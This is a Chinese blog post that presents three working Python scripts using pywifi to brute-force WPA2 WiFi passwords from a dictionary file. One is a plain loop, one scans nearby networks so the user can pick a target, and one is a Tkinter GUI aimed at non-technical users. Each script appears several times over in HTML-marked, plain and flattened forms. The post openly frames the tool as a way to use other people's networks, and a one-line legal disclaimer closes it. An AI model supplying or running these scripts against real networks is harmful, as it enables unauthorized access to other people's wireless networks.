Python暴力破解WiFi密码,这个脚本让你轻松蹭网!

出门在外,碰上信号不好的时候,大家肯定都遇到过没法上网的尴尬时刻。尤其是遇到WiFi信号满格,但却被密码拦住时,总让人忍不住想蹭网。

那如何通过Python脚本暴力破解WiFi密码,完成“机智蹭网”呢?今天我们就来深入探讨一下如何用Python实现WiFi密码的暴力破解。

没有图形界面的简单爆破脚本

第一来看看一个没有图形界面的基础版WiFi破解脚本。通过 pywifi 模块,我们可以操控无线网卡进行WiFi连接。脚本会自动读取一个密码字典并逐个尝试,直到找到正确的密码。

<span>import</span> pywifi
<span>from</span> pywifi <span>import</span> const
<span>import</span> time
<span>import</span> datetime
<span># 测试连接,返回连接结果</span>
<span><span>def</span> <span>wifiConnect</span><span>(pwd)</span>:</span>
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[<span>0</span>]
ifaces.disconnect()
time.sleep(<span>1</span>)
wifistatus = ifaces.status()
<span>if</span> wifistatus == const.IFACE_DISCONNECTED:
profile = pywifi.Profile()
profile.ssid = <span>"Tr0e"</span> <span># 需要破解的WiFi名称</span>
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
ifaces.remove_all_network_profiles()
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
time.sleep(<span>2</span>)
<span>if</span> ifaces.status() == const.IFACE_CONNECTED:
<span>return</span> <span>True</span>
<span>else</span>:
<span>return</span> <span>False</span>
<span>else</span>:
print(<span>"已有WiFi连接"</span>)
<span># 读取密码本进行暴力破解</span>
<span><span>def</span> <span>readPassword</span><span>()</span>:</span>
success = <span>False</span>
print(<span>"********** 开始破解WiFi **********"</span>)
path = <span>"pwd.txt"</span>
file = open(path, <span>"r"</span>)
start = datetime.datetime.now()
<span>while</span> <span>True</span>:
<span>try</span>:
pwd = file.readline().strip(<span>'
'</span>)
bool = wifiConnect(pwd)
<span>if</span> bool:
print(<span>f"[*] 密码已破解:<span>{pwd}</span>"</span>)
print(<span>"[*] WiFi已自动连接!"</span>)
success = <span>True</span>
<span>break</span>
<span>else</span>:
print(<span>f"正在尝试密码:<span>{pwd}</span>"</span>)
<span>except</span>:
<span>continue</span>
end = datetime.datetime.now()
print(<span>f"[*] 破解完成,耗时:<span>{end - start}</span>"</span> <span>if</span> success <span>else</span> <span>"[*] 未能破解成功,请更换密码字典!"</span>)
exit(<span>0</span>)
<span>if</span> __name__ == <span>"__main__"</span>:
readPassword()
<span>import</span> pywifi
<span>from</span> pywifi <span>import</span> const
<span>import</span> time
<span>import</span> datetime


<span># 测试连接,返回连接结果</span>
<span><span>def</span> <span>wifiConnect</span><span>(pwd)</span>:</span>
  wifi = pywifi.PyWiFi()
  ifaces = wifi.interfaces()[<span>0</span>]
  ifaces.disconnect()
  time.sleep(<span>1</span>)
  wifistatus = ifaces.status()


  <span>if</span> wifistatus == const.IFACE_DISCONNECTED:
      profile = pywifi.Profile()
      profile.ssid = <span>"Tr0e"</span> <span># 需要破解的WiFi名称</span>
      profile.auth = const.AUTH_ALG_OPEN
      profile.akm.append(const.AKM_TYPE_WPA2PSK)
      profile.cipher = const.CIPHER_TYPE_CCMP
      profile.key = pwd
      ifaces.remove_all_network_profiles()
      tep_profile = ifaces.add_network_profile(profile)
      ifaces.connect(tep_profile)
      time.sleep(<span>2</span>)
       
      <span>if</span> ifaces.status() == const.IFACE_CONNECTED:
          <span>return</span> <span>True</span>
      <span>else</span>:
          <span>return</span> <span>False</span>
  <span>else</span>:
      print(<span>"已有WiFi连接"</span>)


<span># 读取密码本进行暴力破解</span>
<span><span>def</span> <span>readPassword</span><span>()</span>:</span>
  success = <span>False</span>
  print(<span>"********** 开始破解WiFi **********"</span>)
  path = <span>"pwd.txt"</span>
  file = open(path, <span>"r"</span>)
  start = datetime.datetime.now()


  <span>while</span> <span>True</span>:
      <span>try</span>:
          pwd = file.readline().strip(<span>'
'</span>)
          bool = wifiConnect(pwd)
          <span>if</span> bool:
              print(<span>f"[*] 密码已破解:<span>{pwd}</span>"</span>)
              print(<span>"[*] WiFi已自动连接!"</span>)
              success = <span>True</span>
              <span>break</span>
          <span>else</span>:
              print(<span>f"正在尝试密码:<span>{pwd}</span>"</span>)
      <span>except</span>:
          <span>continue</span>


  end = datetime.datetime.now()
  print(<span>f"[*] 破解完成,耗时:<span>{end - start}</span>"</span> <span>if</span> success <span>else</span> <span>"[*] 未能破解成功,请更换密码字典!"</span>)
  exit(<span>0</span>)


<span>if</span> __name__ == <span>"__main__"</span>:
  readPassword()
import pywifi from pywifi import const import time import datetime # 测试连接,返回连接结果 def wifiConnect(pwd): wifi = pywifi.PyWiFi() ifaces = wifi.interfaces()[0] ifaces.disconnect() time.sleep(1) wifistatus = ifaces.status() if wifistatus == const.IFACE_DISCONNECTED: profile = pywifi.Profile() profile.ssid = "Tr0e" # 需要破解的WiFi名称 profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = pwd ifaces.remove_all_network_profiles() tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) time.sleep(2) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False else: print("已有WiFi连接") # 读取密码本进行暴力破解 def readPassword(): success = False print("********** 开始破解WiFi **********") path = "pwd.txt" file = open(path, "r") start = datetime.datetime.now() while True: try: pwd = file.readline().strip(' ') bool = wifiConnect(pwd) if bool: print(f"[*] 密码已破解:{pwd}") print("[*] WiFi已自动连接!") success = True break else: print(f"正在尝试密码:{pwd}") except: continue end = datetime.datetime.now() print(f"[*] 破解完成,耗时:{end - start}" if success else "[*] 未能破解成功,请更换密码字典!") exit(0) if __name__ == "__main__": readPassword()

这个脚本通过 pywifi 模块操控无线网卡并不断尝试密码,直到找到正确的WiFi密码。你只需准备一个包含各种常见密码的字典文件,然后让脚本从中挑选可能的密码进行尝试。

优化脚本:扫描附近WiFi

为了让脚本更灵活,我们对其进行了改善,增加了WiFi扫描功能,允许用户选择想要破解的WiFi并自定义密码字典。

<span>import</span> pywifi
<span>import</span> time
from pywifi <span>import</span> <span>const</span>
# WiFi扫描模块
def wifi_scan():
wifi = pywifi.PyWiFi()
<span><span>interface</span> = <span>wifi</span>.<span>interfaces</span></span>()[<span>0</span>]
<span><span>interface</span>.<span>scan</span></span>()
time.sleep(<span>3</span>)
bss = <span><span>interface</span>.<span>scan_results</span></span>()
wifi_name_list = []
<span>for</span> w <span>in</span> bss:
wifi_name_and_signal = (<span>100</span> + w.signal, w.ssid)
wifi_name_list.append(wifi_name_and_signal)
wifi_name_list = sorted(wifi_name_list, key=lambda x: x[<span>0</span>], reverse=True)
print(<span>"扫描完成,找到以下WiFi:"</span>)
<span>for</span> num, wifi <span>in</span> enumerate(wifi_name_list):
print(f<span>"{num}. {wifi[1]} 信号强度: {wifi[0]}"</span>)
<span>return</span> wifi_name_list
# WiFi破解模块
def wifi_password_crack(wifi_name):
wifi_dic_path = input(<span>"请输入密码字典路径:"</span>)
with <span>open</span>(wifi_dic_path, <span>'r'</span>) <span>as</span> f:
<span>for</span> pwd <span>in</span> f:
pwd = pwd.strip(<span>'
'</span>)
wifi = pywifi.PyWiFi()
<span><span>interface</span> = <span>wifi</span>.<span>interfaces</span></span>()[<span>0</span>]
<span><span>interface</span>.<span>disconnect</span></span>()
time.sleep(<span>1</span>)
profile = pywifi.Profile()
profile.ssid = wifi_name
profile.auth = <span>const</span>.AUTH_ALG_OPEN
profile.akm.append(<span>const</span>.AKM_TYPE_WPA2PSK)
profile.cipher = <span>const</span>.CIPHER_TYPE_CCMP
profile.key = pwd
<span><span>interface</span>.<span>remove_all_network_profiles</span></span>()
tmp_profile = <span><span>interface</span>.<span>add_network_profile</span></span>(profile)
<span><span>interface</span>.<span>connect</span></span>(tmp_profile)
time.sleep(<span>2</span>)
<span>if</span> <span><span>interface</span>.<span>status</span></span>() == <span>const</span>.IFACE_CONNECTED:
print(f<span>"成功破解,密码为:{pwd}"</span>)
exit(<span>0</span>)
<span>else</span>:
print(f<span>"尝试密码 {pwd} 失败。"</span>)
# 主函数
def main():
wifi_list = wifi_scan()
wifi_index = int(input(<span>"请选择想要破解的WiFi编号:"</span>))
wifi_password_crack(wifi_list[wifi_index][<span>1</span>])
<span>if</span> __name__ == <span>'__main__'</span>:
main()
<span>import</span> pywifi
<span>import</span> time
from pywifi <span>import</span> <span>const</span>


# WiFi扫描模块
def wifi_scan():
  wifi = pywifi.PyWiFi()
  <span><span>interface</span> = <span>wifi</span>.<span>interfaces</span></span>()[<span>0</span>]
  <span><span>interface</span>.<span>scan</span></span>()
  time.sleep(<span>3</span>)
  bss = <span><span>interface</span>.<span>scan_results</span></span>()


  wifi_name_list = []
  <span>for</span> w <span>in</span> bss:
      wifi_name_and_signal = (<span>100</span> + w.signal, w.ssid)
      wifi_name_list.append(wifi_name_and_signal)
   
  wifi_name_list = sorted(wifi_name_list, key=lambda x: x[<span>0</span>], reverse=True)


  print(<span>"扫描完成,找到以下WiFi:"</span>)
  <span>for</span> num, wifi <span>in</span> enumerate(wifi_name_list):
      print(f<span>"{num}. {wifi[1]} 信号强度: {wifi[0]}"</span>)


  <span>return</span> wifi_name_list


# WiFi破解模块
def wifi_password_crack(wifi_name):
  wifi_dic_path = input(<span>"请输入密码字典路径:"</span>)
  with <span>open</span>(wifi_dic_path, <span>'r'</span>) <span>as</span> f:
      <span>for</span> pwd <span>in</span> f:
          pwd = pwd.strip(<span>'
'</span>)
          wifi = pywifi.PyWiFi()
          <span><span>interface</span> = <span>wifi</span>.<span>interfaces</span></span>()[<span>0</span>]
          <span><span>interface</span>.<span>disconnect</span></span>()
          time.sleep(<span>1</span>)
          profile = pywifi.Profile()
          profile.ssid = wifi_name
          profile.auth = <span>const</span>.AUTH_ALG_OPEN
          profile.akm.append(<span>const</span>.AKM_TYPE_WPA2PSK)
          profile.cipher = <span>const</span>.CIPHER_TYPE_CCMP
          profile.key = pwd
          <span><span>interface</span>.<span>remove_all_network_profiles</span></span>()
          tmp_profile = <span><span>interface</span>.<span>add_network_profile</span></span>(profile)
          <span><span>interface</span>.<span>connect</span></span>(tmp_profile)


          time.sleep(<span>2</span>)
          <span>if</span> <span><span>interface</span>.<span>status</span></span>() == <span>const</span>.IFACE_CONNECTED:
              print(f<span>"成功破解,密码为:{pwd}"</span>)
              exit(<span>0</span>)
          <span>else</span>:
              print(f<span>"尝试密码 {pwd} 失败。"</span>)


# 主函数
def main():
  wifi_list = wifi_scan()
  wifi_index = int(input(<span>"请选择想要破解的WiFi编号:"</span>))
  wifi_password_crack(wifi_list[wifi_index][<span>1</span>])


<span>if</span> __name__ == <span>'__main__'</span>:
  main()
import pywifi import time from pywifi import const # WiFi扫描模块 def wifi_scan(): wifi = pywifi.PyWiFi() interface = wifi.interfaces()[0] interface.scan() time.sleep(3) bss = interface.scan_results() wifi_name_list = [] for w in bss: wifi_name_and_signal = (100 + w.signal, w.ssid) wifi_name_list.append(wifi_name_and_signal) wifi_name_list = sorted(wifi_name_list, key=lambda x: x[0], reverse=True) print("扫描完成,找到以下WiFi:") for num, wifi in enumerate(wifi_name_list): print(f"{num}. {wifi[1]} 信号强度: {wifi[0]}") return wifi_name_list # WiFi破解模块 def wifi_password_crack(wifi_name): wifi_dic_path = input("请输入密码字典路径:") with open(wifi_dic_path, 'r') as f: for pwd in f: pwd = pwd.strip(' ') wifi = pywifi.PyWiFi() interface = wifi.interfaces()[0] interface.disconnect() time.sleep(1) profile = pywifi.Profile() profile.ssid = wifi_name profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = pwd interface.remove_all_network_profiles() tmp_profile = interface.add_network_profile(profile) interface.connect(tmp_profile) time.sleep(2) if interface.status() == const.IFACE_CONNECTED: print(f"成功破解,密码为:{pwd}") exit(0) else: print(f"尝试密码 {pwd} 失败。") # 主函数 def main(): wifi_list = wifi_scan() wifi_index = int(input("请选择想要破解的WiFi编号:")) wifi_password_crack(wifi_list[wifi_index][1]) if __name__ == '__main__': main()

该脚本扫描附近WiFi并允许用户选择要破解的网络,极大地提高了灵活性和用户体验。通过自定义密码字典文件,用户还可以在暴力破解过程中根据具体情况调整密码尝试策略。

提升用户体验:图形化界面

为了让工具更方便使用,我们可以进一步改善,使用 Tkinter 创建一个简易的图形化界面,使得非技术用户也可以轻松使用。

from tkinter <span>import</span> *
<span>import</span> pywifi
from pywifi <span>import</span> <span>const</span>
<span>import</span> time
def readPwd():
wifi_name = entry.<span>get</span>().strip()
path = <span>'./pwd.txt'</span>
file = <span>open</span>(path, <span>'r'</span>)
<span>while</span> True:
pwd = file.readline().strip()
<span>if</span> not pwd:
<span>break</span>
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[<span>0</span>]
iface.disconnect()
time.sleep(<span>1</span>)
profile = pywifi.Profile()
profile.ssid = wifi_name
profile.auth = <span>const</span>.AUTH_ALG_OPEN
profile.akm.append(<span>const</span>.AKM_TYPE_WPA2PSK)
profile.cipher = <span>const</span>.CIPHER_TYPE_CCMP
profile.key = pwd
iface.remove_all_network_profiles()
tmp_profile = iface.add_network_profile(profile)
iface.connect(tmp_profile)
time.sleep(<span>2</span>)
<span>if</span> iface.status() == <span>const</span>.IFACE_CONNECTED:
text.insert(END, f<span>'密码正确:{pwd}
'</span>)
<span>break</span>
<span>else</span>:
text.insert(END, f<span>'尝试密码:{pwd} 失败
'</span>)
text.see(END)
text.update()
root = Tk()
root.title(<span>"WiFi破解"</span>)
root.geometry(<span>"500x400"</span>)
Label(root, text=<span>"输入WiFi名称:"</span>).grid()
entry = Entry(root, font=(<span>"微软雅黑"</span>, <span>14</span>))
entry.grid(row=<span>0</span>, column=<span>1</span>)
text = Listbox(root, font=(<span>"微软雅黑"</span>, <span>14</span>), width=<span>40</span>, height=<span>10</span>)
text.grid(row=<span>1</span>, columnspan=<span>2</span>)
Button(root, text=<span>"开始破解"</span>, command=readPwd).grid(row=<span>2</span>, columnspan=<span>2</span>)
root.mainloop()
from tkinter <span>import</span> *
<span>import</span> pywifi
from pywifi <span>import</span> <span>const</span>
<span>import</span> time


def readPwd():
  wifi_name = entry.<span>get</span>().strip()
  path = <span>'./pwd.txt'</span>
  file = <span>open</span>(path, <span>'r'</span>)


  <span>while</span> True:
      pwd = file.readline().strip()
      <span>if</span> not pwd:
          <span>break</span>
      wifi = pywifi.PyWiFi()
      iface = wifi.interfaces()[<span>0</span>]
      iface.disconnect()
      time.sleep(<span>1</span>)
      profile = pywifi.Profile()
      profile.ssid = wifi_name
      profile.auth = <span>const</span>.AUTH_ALG_OPEN
      profile.akm.append(<span>const</span>.AKM_TYPE_WPA2PSK)
      profile.cipher = <span>const</span>.CIPHER_TYPE_CCMP
      profile.key = pwd
      iface.remove_all_network_profiles()
      tmp_profile = iface.add_network_profile(profile)
      iface.connect(tmp_profile)
      time.sleep(<span>2</span>)


      <span>if</span> iface.status() == <span>const</span>.IFACE_CONNECTED:
          text.insert(END, f<span>'密码正确:{pwd}
'</span>)
          <span>break</span>
      <span>else</span>:
          text.insert(END, f<span>'尝试密码:{pwd} 失败
'</span>)
      text.see(END)
      text.update()


root = Tk()
root.title(<span>"WiFi破解"</span>)
root.geometry(<span>"500x400"</span>)


Label(root, text=<span>"输入WiFi名称:"</span>).grid()
entry = Entry(root, font=(<span>"微软雅黑"</span>, <span>14</span>))
entry.grid(row=<span>0</span>, column=<span>1</span>)


text = Listbox(root, font=(<span>"微软雅黑"</span>, <span>14</span>), width=<span>40</span>, height=<span>10</span>)
text.grid(row=<span>1</span>, columnspan=<span>2</span>)


Button(root, text=<span>"开始破解"</span>, command=readPwd).grid(row=<span>2</span>, columnspan=<span>2</span>)


root.mainloop()
from tkinter import * import pywifi from pywifi import const import time def readPwd(): wifi_name = entry.get().strip() path = './pwd.txt' file = open(path, 'r') while True: pwd = file.readline().strip() if not pwd: break wifi = pywifi.PyWiFi() iface = wifi.interfaces()[0] iface.disconnect() time.sleep(1) profile = pywifi.Profile() profile.ssid = wifi_name profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = pwd iface.remove_all_network_profiles() tmp_profile = iface.add_network_profile(profile) iface.connect(tmp_profile) time.sleep(2) if iface.status() == const.IFACE_CONNECTED: text.insert(END, f'密码正确:{pwd} ') break else: text.insert(END, f'尝试密码:{pwd} 失败 ') text.see(END) text.update() root = Tk() root.title("WiFi破解") root.geometry("500x400") Label(root, text="输入WiFi名称:").grid() entry = Entry(root, font=("微软雅黑", 14)) entry.grid(row=0, column=1) text = Listbox(root, font=("微软雅黑", 14), width=40, height=10) text.grid(row=1, columnspan=2) Button(root, text="开始破解", command=readPwd).grid(row=2, columnspan=2) root.mainloop()

这个小工具通过 Tkinter 创建了一个简易的界面,让你输入WiFi名称并开始暴力破解过程。整个界面简洁直观,适合不擅长编程的用户使用。

总结

通过这篇文章,我们从基础的Python WiFi暴力破解脚本开始,逐步优化到扫描WiFi、选择目标网络并最终实现了图形化界面。无论你是喜爱简单的命令行脚本,还是偏好图形化的工具,这些代码都能为你提供不同场景下的解决方案。

当然,本文的学习目的是技术探索,使用这些工具时请遵守法律与道德规范,切勿非法破解他人WiFi!

© 版权声明
THE END
如果内容对您有所帮助,就支持一下吧!
点赞0 分享
昔我往矣的头像 - 宋马
评论 共1条

请登录后发表评论